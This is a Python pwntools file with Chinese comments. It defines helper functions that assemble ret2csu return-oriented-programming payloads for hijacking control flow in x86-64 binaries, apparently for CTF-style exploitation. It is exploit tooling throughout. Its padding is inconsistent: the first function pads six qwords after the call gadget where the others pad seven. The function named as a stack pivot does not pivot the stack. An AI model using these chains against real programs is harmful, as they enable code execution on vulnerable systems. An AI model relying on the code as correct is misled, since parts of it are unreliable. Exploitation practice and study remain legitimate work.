from pwn import *


def csu_payload(pop_addr, call_addr, func_ptr, rdi=0, rsi=0, rdx=0):
    """
           构造 CSU gadget 的 payload

    参数说明:
        pop_addr  : pop rbx,rbp,r12,r13,r14,r15 gadget 的地址 (如 0x4005f6)
        call_addr : mov + call gadget 的地址 (如 0x4005e0)
        func_ptr  : 要调用的函数地址 (放入 r12)
        rdi       : 第一个参数 (放入 r13d)
        rsi       : 第二个参数 (放入 r14)
        rdx       : 第三个参数 (放入 r15)

    返回:
        构造好的 payload 字节串
    """
    payload = p64(pop_addr)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func_ptr)
    payload += p64(rdi)
    payload += p64(rsi)
    payload += p64(rdx)
    payload += p64(call_addr)
    payload += p64(0) * 6
    return payload


def csu_payload_with_ret(
    pop_addr, call_addr, func_ptr, rdi=0, rsi=0, rdx=0, ret_addr=None
):
    """
    CSU payload + 返回地址控制

    用于需要在 CSU 调用后继续控制执行流的场景
    """
    payload = p64(pop_addr)
    payload += p64(0)  # rbx
    payload += p64(1)  # rbp
    payload += p64(func_ptr)  # r12
    payload += p64(rdi)  # r13 (edi)
    payload += p64(rsi)  # r14 (rsi)
    payload += p64(rdx)  # r15 (rdx)
    payload += p64(call_addr)  # 执行 gadget
    payload += p64(0) * 7  # padding
    if ret_addr:
        payload += p64(ret_addr)
    return payload


def csu_stack_pivot(pop_addr, call_addr, func_ptr, rdi=0, rsi=0, rdx=0, new_stack=None):
    """
    堆栈迁移版本的 CSU

    通过 add rsp, 8 后的 pop 来控制返回地址，实现栈迁移
    """
    payload = p64(pop_addr)
    payload += p64(0)  # rbx
    payload += p64(1)  # rbp
    payload += p64(func_ptr)  # r12
    payload += p64(rdi)  # r13 (edi)
    payload += p64(rsi)  # r14 (rsi)
    payload += p64(rdx)  # r15 (rdx)
    payload += p64(call_addr)  # call gadget
    payload += p64(0)  # add rsp, 8 的位置
    payload += p64(0) * 6  # pop ×6
    if new_stack:
        payload += p64(new_stack)
    return payload
